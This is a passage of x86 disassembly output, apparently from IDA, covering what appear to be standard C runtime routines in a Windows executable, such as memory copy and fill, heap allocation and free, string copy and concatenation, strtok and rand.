mov [edi+ecx*4-1Ch], eax
loc_429454: ; CODE XREF: sub_429350:loc_4293ACj
; DATA XREF: sub_429350+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_42945C: ; CODE XREF: sub_429350:loc_4293ACj
; DATA XREF: sub_429350+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_429464: ; CODE XREF: sub_429350:loc_4293ACj
; DATA XREF: sub_429350+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_42946C: ; CODE XREF: sub_429350:loc_4293ACj
; DATA XREF: sub_429350+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_429474: ; CODE XREF: sub_429350:loc_4293ACj
; DATA XREF: sub_429350+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_42947C: ; CODE XREF: sub_429350:loc_4293ACj
; DATA XREF: sub_429350+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_42948F: ; CODE XREF: sub_429350:loc_4293ACj
; DATA XREF: sub_429350:off_42942Co
jmp off_429498[edx*4]
; ---------------------------------------------------------------------------
align 4
off_429498 dd offset loc_4294A8 ; DATA XREF: sub_429350+35r
; sub_429350+92r ...
dd offset loc_4294B0
dd offset loc_4294BC
dd offset loc_4294D0
; ---------------------------------------------------------------------------
loc_4294A8: ; CODE XREF: sub_429350+35j
; sub_429350+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4294B0: ; CODE XREF: sub_429350+35j
; sub_429350+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4294BC: ; CODE XREF: sub_429350+35j
; sub_429350+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4294D0: ; CODE XREF: sub_429350+35j
; sub_429350+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4294E8: ; CODE XREF: sub_429350+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_42951C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_429510
std
rep movsd
cld
jmp off_429630[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_429510: ; CODE XREF: sub_429350+1B1j
; sub_429350+208j ...
neg ecx
jmp off_4295E0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_42951C: ; CODE XREF: sub_429350+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_429534
and eax, 3
sub ecx, eax
jmp dword ptr loc_429534+4[eax*4]
; ---------------------------------------------------------------------------
loc_429534: ; CODE XREF: sub_429350+1D6j
; DATA XREF: sub_429350+1DDr
jmp off_429630[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_429547+1
; ---------------------------------------------------------------------------
push 90004295h
xchg eax, ebp
inc edx
loc_429547: ; DATA XREF: sub_429350+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_429510
std
rep movsd
cld
jmp off_429630[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_429510
std
rep movsd
cld
jmp off_429630[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_429510
std
rep movsd
cld
jmp off_429630[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4295E4
dd offset loc_4295EC
dd offset loc_4295F4
dd offset loc_4295FC
dd offset loc_429604
dd offset loc_42960C
dd offset loc_429614
off_4295E0 dd offset loc_429627 ; DATA XREF: sub_429350+1C2r
; ---------------------------------------------------------------------------
loc_4295E4: ; DATA XREF: sub_429350+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_4295EC: ; DATA XREF: sub_429350+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_4295F4: ; DATA XREF: sub_429350+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_4295FC: ; DATA XREF: sub_429350+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_429604: ; DATA XREF: sub_429350+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_42960C: ; DATA XREF: sub_429350+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_429614: ; DATA XREF: sub_429350+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_429627: ; CODE XREF: sub_429350+1C2j
; DATA XREF: sub_429350:off_4295E0o
jmp off_429630[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_429630 dd offset loc_429640 ; DATA XREF: sub_429350+1B7r
; sub_429350:loc_429534r ...
dd offset loc_429648
dd offset loc_429658
dd offset loc_42966C
; ---------------------------------------------------------------------------
loc_429640: ; CODE XREF: sub_429350+1B7j
; sub_429350:loc_429534j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_429648: ; CODE XREF: sub_429350+1B7j
; sub_429350:loc_429534j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_429658: ; CODE XREF: sub_429350+1B7j
; sub_429350:loc_429534j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_42966C: ; CODE XREF: sub_429350+1B7j
; sub_429350:loc_429534j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_429350 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_429690 proc near ; CODE XREF: sub_40100A+1Ap
; sub_401044+22p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_4296E3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_4296D7
neg ecx
and ecx, 3
jz short loc_4296B9
sub edx, ecx
loc_4296B3: ; CODE XREF: sub_429690+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_4296B3
loc_4296B9: ; CODE XREF: sub_429690+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_4296D7
rep stosd
test edx, edx
jz short loc_4296DD
loc_4296D7: ; CODE XREF: sub_429690+18j
; sub_429690+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_4296D7
loc_4296DD: ; CODE XREF: sub_429690+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4296E3: ; CODE XREF: sub_429690+Aj
mov eax, [esp+arg_0]
retn
sub_429690 endp
; =============== S U B R O U T I N E =======================================
sub_4296E8 proc near ; CODE XREF: sub_40100A+Ap
; sub_401044+12p ...
arg_0 = dword ptr 4
push dword_676910
push [esp+4+arg_0]
call sub_4296FA
pop ecx
pop ecx
retn
sub_4296E8 endp
; =============== S U B R O U T I N E =======================================
sub_4296FA proc near ; CODE XREF: sub_4296E8+Ap
; sub_42B407+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_429723
loc_429701: ; CODE XREF: sub_4296FA+27j
push [esp+arg_0]
call sub_429726
test eax, eax
pop ecx
jnz short locret_429725
cmp [esp+arg_4], eax
jz short locret_429725
push [esp+arg_0]
call sub_42C5F5
test eax, eax
pop ecx
jnz short loc_429701
loc_429723: ; CODE XREF: sub_4296FA+5j
xor eax, eax
locret_429725: ; CODE XREF: sub_4296FA+13j
; sub_4296FA+19j
retn
sub_4296FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429726 proc near ; CODE XREF: sub_4296FA+Bp
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00429796 SIZE 00000053 BYTES
; FUNCTION CHUNK AT 004297F5 SIZE 0000002D BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_437400
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, dword_676FE4
cmp eax, 3
jnz short loc_429796
mov esi, [ebp+arg_0]
cmp esi, dword_676FDC
ja loc_4297F5
push 9
call sub_42DA1F
pop ecx
and [ebp+var_4], 0
push esi
call sub_42CB7E
pop ecx
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_42978D
mov eax, [ebp+var_1C]
test eax, eax
jz short loc_4297F5
jmp loc_429813
sub_429726 endp
; =============== S U B R O U T I N E =======================================
sub_42978D proc near ; CODE XREF: sub_429726+56p
; DATA XREF: ?9:00437408o
push 9
call sub_42DA80
pop ecx
retn
sub_42978D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429726
loc_429796: ; CODE XREF: sub_429726+2Bj
cmp eax, 2
jnz short loc_4297F5
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_4297AA
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_4297AD
; ---------------------------------------------------------------------------
loc_4297AA: ; CODE XREF: sub_429726+7Aj
push 10h
pop esi
loc_4297AD: ; CODE XREF: sub_429726+82j
mov [ebp+arg_0], esi
cmp esi, dword_453154
ja short loc_4297E6
push 9
call sub_42DA1F
pop ecx
mov [ebp+var_4], 1
mov eax, esi
shr eax, 4
push eax
call sub_42D621
pop ecx
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_4297EC
mov eax, [ebp+var_1C]
test eax, eax
jnz short loc_429813
loc_4297E6: ; CODE XREF: sub_429726+90j
push esi
jmp short loc_429805
; END OF FUNCTION CHUNK FOR sub_429726
; =============== S U B R O U T I N E =======================================
sub_4297E9 proc near ; DATA XREF: ?9:00437414o
mov esi, [ebp+8]
sub_4297E9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4297EC proc near ; CODE XREF: sub_429726+B4p
push 9
call sub_42DA80
pop ecx
retn
sub_4297EC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429726
loc_4297F5: ; CODE XREF: sub_429726+36j
; sub_429726+60j ...
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_4297FF
push 1
pop eax
loc_4297FF: ; CODE XREF: sub_429726+D4j
add eax, 0Fh
and al, 0F0h
push eax
loc_429805: ; CODE XREF: sub_429726+C1j
push 0
push dword_676FE0
call dword_43720C ; RtlAllocateHeap
loc_429813: ; CODE XREF: sub_429726+62j
; sub_429726+BEj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; END OF FUNCTION CHUNK FOR sub_429726
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429822 proc near ; CODE XREF: sub_401099+Ap
; sub_4010B2+73p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00429895 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 004298ED SIZE 0000001E BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_437418
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
test esi, esi
jz loc_4298FC
mov eax, dword_676FE4
cmp eax, 3
jnz short loc_429895
push 9
call sub_42DA1F
pop ecx
and [ebp+var_4], 0
push esi
call sub_42C82A
pop ecx
mov [ebp+var_1C], eax
test eax, eax
jz short loc_42987D
push esi
push eax
call sub_42C855
pop ecx
pop ecx
loc_42987D: ; CODE XREF: sub_429822+50j
or [ebp+var_4], 0FFFFFFFFh
call sub_42988C
cmp [ebp+var_1C], 0
jmp short loc_4298DD
sub_429822 endp
; =============== S U B R O U T I N E =======================================
sub_42988C proc near ; CODE XREF: sub_429822+5Fp
; DATA XREF: ?9:00437420o
push 9
call sub_42DA80
pop ecx
retn
sub_42988C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429822
loc_429895: ; CODE XREF: sub_429822+36j
cmp eax, 2
jnz short loc_4298ED
push 9
call sub_42DA1F
pop ecx
mov [ebp+var_4], 1
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_28]
push eax
push esi
call sub_42D585
add esp, 0Ch
mov [ebp+var_24], eax
test eax, eax
jz short loc_4298D0
push eax
push [ebp+var_20]
push [ebp+var_28]
call sub_42D5DC
add esp, 0Ch
loc_4298D0: ; CODE XREF: sub_429822+9Dj
or [ebp+var_4], 0FFFFFFFFh
call sub_4298E4
cmp [ebp+var_24], 0
loc_4298DD: ; CODE XREF: sub_429822+68j
jnz short loc_4298FC
push [ebp+arg_0]
jmp short loc_4298EE
; END OF FUNCTION CHUNK FOR sub_429822
; =============== S U B R O U T I N E =======================================
sub_4298E4 proc near ; CODE XREF: sub_429822+B2p
; DATA XREF: ?9:0043742Co
push 9
call sub_42DA80
pop ecx
retn
sub_4298E4 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429822
loc_4298ED: ; CODE XREF: sub_429822+76j
push esi
loc_4298EE: ; CODE XREF: sub_429822+C0j
push 0
push dword_676FE0
call dword_437210 ; RtlFreeHeap
loc_4298FC: ; CODE XREF: sub_429822+28j
; sub_429822:loc_4298DDj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; END OF FUNCTION CHUNK FOR sub_429822
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_429910 proc near ; CODE XREF: sub_401990+66p
; sub_401990+B4p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_4299C4
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_42993A
loc_42992B: ; CODE XREF: sub_429910+28j
mov al, [edi]
inc edi
test al, al
jz short loc_42996B
test edi, 3
jnz short loc_42992B
loc_42993A: ; CODE XREF: sub_429910+19j
; sub_429910+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_42993A
mov eax, [edi-4]
test al, al
jz short loc_429978
test ah, ah
jz short loc_429973
test eax, 0FF0000h
jz short loc_42996E
test eax, 0FF000000h
jnz short loc_42993A
loc_42996B: ; CODE XREF: sub_429910+20j
dec edi
jmp short loc_42997B
; ---------------------------------------------------------------------------
loc_42996E: ; CODE XREF: sub_429910+52j
sub edi, 2
jmp short loc_42997B
; ---------------------------------------------------------------------------
loc_429973: ; CODE XREF: sub_429910+4Bj
sub edi, 3
jmp short loc_42997B
; ---------------------------------------------------------------------------
loc_429978: ; CODE XREF: sub_429910+47j
sub edi, 4
loc_42997B: ; CODE XREF: sub_429910+5Cj
; sub_429910+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_429990
mov ebx, ecx
shr ecx, 2
jnz short loc_4299DC
jmp short loc_4299AC
; ---------------------------------------------------------------------------
loc_429990: ; CODE XREF: sub_429910+75j
; sub_429910+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_4299CA
mov [edi], dl
inc edi
dec ecx
jz short loc_4299C0
test esi, 3
jnz short loc_429990
mov ebx, ecx
shr ecx, 2
jnz short loc_4299DC
loc_4299AC: ; CODE XREF: sub_429910+7Ej
; sub_429910+CAj
mov ecx, ebx
and ecx, 3
jz short loc_4299C0
loc_4299B3: ; CODE XREF: sub_429910+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_4299C2
dec ecx
jnz short loc_4299B3
loc_4299C0: ; CODE XREF: sub_429910+8Bj
; sub_429910+A1j
mov [edi], cl
loc_4299C2: ; CODE XREF: sub_429910+ABj
pop ebx
pop esi
loc_4299C4: ; CODE XREF: sub_429910+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4299CA: ; CODE XREF: sub_429910+85j
; sub_429910+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4299D4: ; CODE XREF: sub_429910+E4j
; sub_429910+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_4299AC
loc_4299DC: ; CODE XREF: sub_429910+7Cj
; sub_429910+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_4299D4
test dl, dl
jz short loc_4299CA
test dh, dh
jz short loc_429A28
test edx, 0FF0000h
jz short loc_429A18
test edx, 0FF000000h
jnz short loc_4299D4
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_429A18: ; CODE XREF: sub_429910+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_429A28: ; CODE XREF: sub_429910+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_429910 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429A33 proc near ; CODE XREF: sub_401990+22p
; sub_401990+52p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_42DBAD
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_429A73
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_429A80
; ---------------------------------------------------------------------------
loc_429A73: ; CODE XREF: sub_429A33+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_42DA95
pop ecx
pop ecx
loc_429A80: ; CODE XREF: sub_429A33+3Ej
mov eax, esi
pop esi
leave
retn
sub_429A33 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_429A90 proc near ; CODE XREF: sub_401990+8p
; sub_402CBA+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_429AB0
loc_429A9C: ; CODE XREF: sub_429A90+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_429A9C
loc_429AB0: ; CODE XREF: sub_429A90+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_429A90 endp
; =============== S U B R O U T I N E =======================================
sub_429ABF proc near ; CODE XREF: sub_401A77+9p
; sub_401AF0+9p ...
arg_0 = dword ptr 4
call sub_42E41E
mov ecx, [esp+arg_0]
mov [eax+14h], ecx
retn
sub_429ABF endp
; =============== S U B R O U T I N E =======================================
sub_429ACC proc near ; CODE XREF: sub_401A77+Fp
; sub_401A77+22p ...
call sub_42E41E
mov ecx, [eax+14h]
imul ecx, 343FDh
add ecx, 269EC3h
mov [eax+14h], ecx
mov eax, ecx
shr eax, 10h
and eax, 7FFFh
retn
sub_429ACC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429AEE proc near ; CODE XREF: sub_401B6E+1F4p
; sub_401B6E+284p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_42DBAD
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_429B2D
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_429B3A
; ---------------------------------------------------------------------------
loc_429B2D: ; CODE XREF: sub_429AEE+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_42DA95
pop ecx
pop ecx
loc_429B3A: ; CODE XREF: sub_429AEE+3Dj
mov eax, esi
pop esi
leave
retn
sub_429AEE endp
; =============== S U B R O U T I N E =======================================
sub_429B3F proc near ; CODE XREF: sub_401E8E+79p
; sub_401E8E+89p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_429B53
loc_429B4B: ; CODE XREF: sub_429B3F+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_429B4B
loc_429B53: ; CODE XREF: sub_429B3F+Aj
mov edx, [esp+arg_4]
push esi
loc_429B58: ; CODE XREF: sub_429B3F+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_429B58
pop esi
retn
sub_429B3F endp
; =============== S U B R O U T I N E =======================================
sub_429B69 proc near ; CODE XREF: sub_40978A+373p
; sub_40978A+3E3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
mov eax, [esp+arg_0]
push esi
mov dx, [ecx]
lea esi, [eax+2]
mov [eax], dx
loc_429B7B: ; CODE XREF: sub_429B69+21j
inc ecx
inc ecx
test dx, dx
jz short loc_429B8C
mov dx, [ecx]
mov [esi], dx
inc esi
inc esi
jmp short loc_429B7B
; ---------------------------------------------------------------------------
loc_429B8C: ; CODE XREF: sub_429B69+17j
pop esi
retn
sub_429B69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429B8E proc near ; CODE XREF: sub_401F44+3Ap
; sub_401F44+53p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
call sub_42E41E
push 8
mov [ebp+arg_4], eax
pop ecx
xor eax, eax
lea edi, [ebp+var_20]
push 7
rep stosd
pop edi
loc_429BAF: ; CODE XREF: sub_429B8E+3Aj
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_429BAF
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_429BD7
mov eax, [ebp+arg_4]
mov edx, [eax+18h]
loc_429BD7: ; CODE XREF: sub_429B8E+41j
; sub_429B8E+67j
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_429BF7
test al, al
jz short loc_429BF7
inc edx
jmp short loc_429BD7
; ---------------------------------------------------------------------------
loc_429BF7: ; CODE XREF: sub_429B8E+60j
; sub_429B8E+64j
mov ebx, edx
loc_429BF9: ; CODE XREF: sub_429B8E+89j
mov al, [edx]
test al, al
jz short loc_429C1D
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_429C19
inc edx
jmp short loc_429BF9
; ---------------------------------------------------------------------------
loc_429C19: ; CODE XREF: sub_429B8E+86j
and byte ptr [edx], 0
inc edx
loc_429C1D: ; CODE XREF: sub_429B8E+6Fj
mov eax, [ebp+arg_4]
pop edi
pop esi
mov [eax+18h], edx
mov eax, ebx
sub eax, edx
neg eax
sbb eax, eax
and eax, ebx
pop ebx
leave
retn
sub_429B8E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_429C40 proc near ; CODE XREF: sub_401F44+2Bp
; sub_4020AA+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_429CC3
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_429C64
shr ecx, 2
jnz short loc_429CD1
jmp short loc_429C85
; ---------------------------------------------------------------------------
loc_429C64: ; CODE XREF: sub_429C40+1Bj
; sub_429C40+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_429C92
test al, al
jz short loc_429C9A
test esi, 3
jnz short loc_429C64
mov ebx, ecx
shr ecx, 2
jnz short loc_429CD1
loc_429C80: ; CODE XREF: sub_429C40+8Fj
and ebx, 3
jz short loc_429C92
loc_429C85: ; CODE XREF: sub_429C40+22j
; sub_429C40+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_429CBE
dec ebx
jnz short loc_429C85
loc_429C92: ; CODE XREF: sub_429C40+2Bj
; sub_429C40+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_429C9A: ; CODE XREF: sub_429C40+2Fj
test edi, 3
jz short loc_429CB4
loc_429CA2: ; CODE XREF: sub_429C40+72j
mov [edi], al
inc edi
dec ecx
jz loc_429D36
test edi, 3
jnz short loc_429CA2
loc_429CB4: ; CODE XREF: sub_429C40+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_429D27
loc_429CBB: ; CODE XREF: sub_429C40+7Fj
; sub_429C40+F4j
mov [edi], al
inc edi
loc_429CBE: ; CODE XREF: sub_429C40+4Dj
dec ebx
jnz short loc_429CBB
pop ebx
pop esi
loc_429CC3: ; CODE XREF: sub_429C40+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_429CC9: ; CODE XREF: sub_429C40+A9j
; sub_429C40+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_429C80
loc_429CD1: ; CODE XREF: sub_429C40+20j
; sub_429C40+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_429CC9
test dl, dl
jz short loc_429D1B
test dh, dh
jz short loc_429D11
test edx, 0FF0000h
jz short loc_429D07
test edx, 0FF000000h
jnz short loc_429CC9
mov [edi], edx
jmp short loc_429D1F
; ---------------------------------------------------------------------------
loc_429D07: ; CODE XREF: sub_429C40+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_429D1F
; ---------------------------------------------------------------------------
loc_429D11: ; CODE XREF: sub_429C40+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_429D1F
; ---------------------------------------------------------------------------
loc_429D1B: ; CODE XREF: sub_429C40+ADj
xor edx, edx
mov [edi], edx
loc_429D1F: ; CODE XREF: sub_429C40+C5j
; sub_429C40+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_429D31
loc_429D27: ; CODE XREF: sub_429C40+79j
xor eax, eax
loc_429D29: ; CODE XREF: sub_429C40+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_429D29
loc_429D31: ; CODE XREF: sub_429C40+E5j
and ebx, 3
jnz short loc_429CBB
loc_429D36: ; CODE XREF: sub_429C40+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_429C40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429D3E proc near ; CODE XREF: sub_40221C+40p
; sub_402CBA+27Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
